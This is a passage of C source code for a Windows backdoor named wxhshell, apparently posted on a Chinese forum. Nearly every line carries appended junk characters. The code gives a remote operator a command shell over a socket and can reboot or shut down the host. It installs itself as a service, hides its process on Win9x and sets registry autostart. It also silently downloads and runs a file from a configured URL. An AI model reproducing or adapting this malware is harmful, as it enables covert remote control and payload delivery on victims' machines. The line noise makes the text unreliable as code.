  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M <oy  
  } ,?"cKdiZ  
  else { `mro2A  
8Z TN  
    switch(cmd[0]) { r)P^CZm  
  V6.xp{[  
  // 帮助 K-&&%Id6R  
  case '?': { ""[(e0oA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  D(}w$hi8  
    break; Y<U"}}  
  } ew(CfW2  
  // 安装 3/P# 2&jt  
  case 'i': { z~TG~_s  
    if(Install()) ;P9P2&c8c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h)[{{JSf  
    else =yv_i]9AN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sd;J(<Ofh  
    break; &Q>)3]|p  
    } GY@-}p~it  
  // 卸载 L-}>;M$Y)  
  case 'r': { 8}/v[8p  
    if(Uninstall()) E5d?toZ,8"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *u$MqN  
    else cd8~y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tAfdbt  
    break; !`8WNY?K  
    } #}50oWE  
  // 显示 wxhshell 所在路径 K1rF;7Y6  
  case 'p': { ;=IC.<Q<}  
    char svExeFile[MAX_PATH]; $d1+d;Mn  
    strcpy(svExeFile,"\n\r"); =VMV^[&>  
      strcat(svExeFile,ExeFile); -LF0%G  
        send(wsh,svExeFile,strlen(svExeFile),0); +u1meh3u  
    break; h_K(8{1  
    } 49%qBO$R  
  // 重启 5BvCP   
  case 'b': { P q\m8iS,w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mp:/[%9Fi  
    if(Boot(REBOOT)) ?Z-(SC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !xs. [&u8  
    else { rixP[`!]x  
    closesocket(wsh); h+e Oe}  
    ExitThread(0); dmHpF\P5f  
    } |oq27*ix~m  
    break; 4q"x|}a  
    } ^h+,Kn0@  
  // 关机 }`g:) g J  
  case 'd': { ?{s!.U[T@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x OCHP|?  
    if(Boot(SHUTDOWN)) OhmKjY/}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % AqUVt9}  
    else { "mbcZ5 _  
    closesocket(wsh); x{Y}1+Y4  
    ExitThread(0); shbPy   
    } Vv=/{31  
    break; AV0m31b  
    } nQuiRTU<  
  // 获取shell b#U nE  
  case 's': { 0be1aY;m&  
    CmdShell(wsh); 8spoDb.S  
    closesocket(wsh); RZm}%6##ZC  
    ExitThread(0); 0-H!\IB  
    break; kt8P\/~*i  
  } V[-4cu,Ph^  
  // 退出 ^06f\7A  
  case 'x': { w9I7pIIl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IYm~pXg^0  
    CloseIt(wsh); %{\|/#>:  
    break; B .p&,K  
    } l6Hu(.Ls;j  
  // 离开 +g_+JLQ  
  case 'q': { O5HK2Xg,C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V5y8VT=I  
    closesocket(wsh); iOpMU  
    WSACleanup(); jEj#|w  
    exit(1); v.,|#}0 o  
    break; %u\Oj \8U  
        } *"V5j#F_  
  } av>c  
  } E"l&<U  
rj qX|  
  // 提示信息 tx}} Kd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J(*q OGBD  
} aY8"Sw|4  
  } >jEn>H?  
Xz)UH<  
  return; 'Eds0"3  
} ugexkdgM  
Xg:w;#r,  
// shell模块句柄 *<k8H5z8]  
int CmdShell(SOCKET sock) ;K<e]RI;?  
{ F&US-ce:M  
STARTUPINFO si; fUQuEh5_  
ZeroMemory(&si,sizeof(si)); q[4{Xh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^UP!y!&N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,L#Qy>MOb  
PROCESS_INFORMATION ProcessInfo; [Nb0&:$ay  
char cmdline[]="cmd"; y6.}h9~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CW*Kd t  
  return 0; ,Y&LlB 2  
} /(C?3 }}L  
mm-!UsT  
// 自身启动模式 3-cCdn  
int StartFromService(void) }ge~Nu>w  
{ 1qWIku  
typedef struct K*;e>{p  
{ hn9'M!*:O  
  DWORD ExitStatus; m&/{iCwp  
  DWORD PebBaseAddress; 9"mOjL  
  DWORD AffinityMask; ;V(- ;O  
  DWORD BasePriority; 8 wGq:@# =  
  ULONG UniqueProcessId; vK2sj1Hzr  
  ULONG InheritedFromUniqueProcessId; XMb]&VvH  
}   PROCESS_BASIC_INFORMATION; :uhU<H<,f  
[.\uHt  
PROCNTQSIP NtQueryInformationProcess; Df;EemCh  
>|%dN jf@Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RUcpdeo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5/j7C>  
"]M:+mH{]  
  HANDLE             hProcess; _2Sb?]Xn  
  PROCESS_BASIC_INFORMATION pbi; 3xS+Pu\)  
utIR\e#:B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W- Q:G=S-  
  if(NULL == hInst ) return 0; zfvMH"1  
R<$_ <z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uq<kT[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v"M5';ZS>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0TA{E-A   
D BDHe-1[+  
  if (!NtQueryInformationProcess) return 0; &YQ  
40TS=evG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KL:x!GsV5e  
  if(!hProcess) return 0; \7W>3  
<a/TDW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '<N^u@tF7  
4W7  
  CloseHandle(hProcess); i#/,Q1yEn  
2NS(;tBB0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kO:|?}Koc  
if(hProcess==NULL) return 0; d-e6hI4b  
b-pZrnZ!  
HMODULE hMod; '6l4MR$j&m  
char procName[255]; ^z&eD,  
unsigned long cbNeeded; -2NXQ+m ;  
{)j~5m.,/o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R`}C/'Ty  
\)Sa!XLfT  
  CloseHandle(hProcess); f,QoA  
"`P/j+-rt  
if(strstr(procName,"services")) return 1; // 以服务启动 `#O%ZZ+  
j#^EZ/  
  return 0; // 注册表启动 O$QtZE61  
} U5X\RXy~  
*1F DK{  
// 主模块 ^%(HZ'$wC  
int StartWxhshell(LPSTR lpCmdLine) W;~ f865  
{ (S1c6~  
  SOCKET wsl; on?<3eED  
BOOL val=TRUE; +/u)/ey  
  int port=0; YyOPgF] M  
  struct sockaddr_in door; h`O"]2  
Z05kn{<a8  
  if(wscfg.ws_autoins) Install(); <9zzjgzG{c  
*&$J.KM  
port=atoi(lpCmdLine); %UIR GI  
r)Q/YzXx*  
if(port<=0) port=wscfg.ws_port; ~)5NX 4Po  
8<BYAHY^  
  WSADATA data; #-76E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vW`Dy8`06  
USF9sF0l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3r{3HaN(^'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RmF,x9  
  door.sin_family = AF_INET; \ G}02h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0#\K9|.  
  door.sin_port = htons(port); i?+ZrAx>  
?:@13wm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JbT+w \o  
closesocket(wsl); #2*l"3.$.R  
return 1; P2HR4`c  
} CPJ8G}4  
9a\H+Y~  
  if(listen(wsl,2) == INVALID_SOCKET) { Ziclw)   
closesocket(wsl); ;bz|)[4/  
return 1; "Zk# bQ2j  
} )`,||sQ  
  Wxhshell(wsl); f3,qDbQyJ  
  WSACleanup(); >Z0F n  
xJCMxt2Y  
return 0; ~Mk{2;x  
B4tC3r  
} F"p7&e\W|l  
.3xpDVW^e  
// 以NT服务方式启动 &BF97%E2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :bBLP7eyV  
{ JmMB=} <  
DWORD   status = 0; X`-7: !+  
  DWORD   specificError = 0xfffffff; MNC=r?  
QaAA@l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0r<?Ve  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4:umD*d 3E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hw2'.}B"(  
  serviceStatus.dwWin32ExitCode     = 0; 6I)[6R  
  serviceStatus.dwServiceSpecificExitCode = 0; 0tA~Y26  
  serviceStatus.dwCheckPoint       = 0; ?vA)F)MS   
  serviceStatus.dwWaitHint       = 0; .h({P#QT  
Uc>kiWW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ej_>*^b  
  if (hServiceStatusHandle==0) return; G6W_)YL  
}s+ t*z  
status = GetLastError(); ibzcO,c  
  if (status!=NO_ERROR) y]3`U UvXD  
{ dO?zLc0f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &xhwx>C`K  
    serviceStatus.dwCheckPoint       = 0; p\;\hHai  
    serviceStatus.dwWaitHint       = 0; jl-2)<  
    serviceStatus.dwWin32ExitCode     = status; Whoqs_Mm{  
    serviceStatus.dwServiceSpecificExitCode = specificError; qV;E% XkkS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u{| Q[hf[  
    return; EC9bCd-z  
  } #@pgB:~lB  
b#uNdq3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n*gr(S  
  serviceStatus.dwCheckPoint       = 0; RIC\f_Dv  
  serviceStatus.dwWaitHint       = 0; _v/w ,z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;$a+ >  
} !sknO53`H`  
D.[h`Hkc  
// 处理NT服务事件,比如:启动、停止 9Wu c1#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pyHU +B  
{  3o_)x  
switch(fdwControl) _\/KI /  
{ mS$9D{  
case SERVICE_CONTROL_STOP: WdWMZh  
  serviceStatus.dwWin32ExitCode = 0; |Do+=Gr$t@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P}`|8b1W  
  serviceStatus.dwCheckPoint   = 0; PL/g@a^tY  
  serviceStatus.dwWaitHint     = 0; \eF _Xk[  
  { ^"dVz.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I45 kPfu  
  } -JKl\E  
  return; }l>\D~:M  
case SERVICE_CONTROL_PAUSE: lpq) vKM}^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `Wl_yC_*G;  
  break; m&PfZ%'[  
case SERVICE_CONTROL_CONTINUE: MZ2/ks  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kC,=E9)O  
  break; 8=K%7:b  
case SERVICE_CONTROL_INTERROGATE: C33BP}c]  
  break; r|MBkpcvp  
}; 1'NJ[ C`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |mMK9OEu  
} jj,CBNo(  
-/V,<@@T  
// 标准应用程序主函数 N!PPL"5z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,59G6o  
{ tG7F!um(  
6N49q -.Lg  
// 获取操作系统版本 TdU'L:<4l  
OsIsNt=GetOsVer(); c>|1%}"?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); opXxtYC@  
d/8p?Km  
  // 从命令行安装 "|Ke/0rGB  
  if(strpbrk(lpCmdLine,"iI")) Install(); f};RtRo2  
_2-fH  
  // 下载执行文件 *5QN:  
if(wscfg.ws_downexe) { bcR";cE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) adcH3rV  
  WinExec(wscfg.ws_filenam,SW_HIDE); A`B>fI  
} U F&B7r  
0&~ JC>S  
if(!OsIsNt) { J9%I&lu/  
// 如果时win9x,隐藏进程并且设置为注册表启动 {xD\w^  
HideProc(); A=Y A#0  
StartWxhshell(lpCmdLine); ;tJ}*!z W  
} 8|LU=p`y'  
else QO/nUl0E  
  if(StartFromService()) Iq0[Kd0.j  
  // 以服务方式启动 A'tv[T d8,  
  StartServiceCtrlDispatcher(DispatchTable); I!?)}d  
else #0"Pd8@  
  // 普通方式启动 e**<et.  
  StartWxhshell(lpCmdLine); *g*~+B :  
\y(ZeNs  
return 0; Z<jC,r  
}
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只看该作者 1 发表于: 2006-10-10
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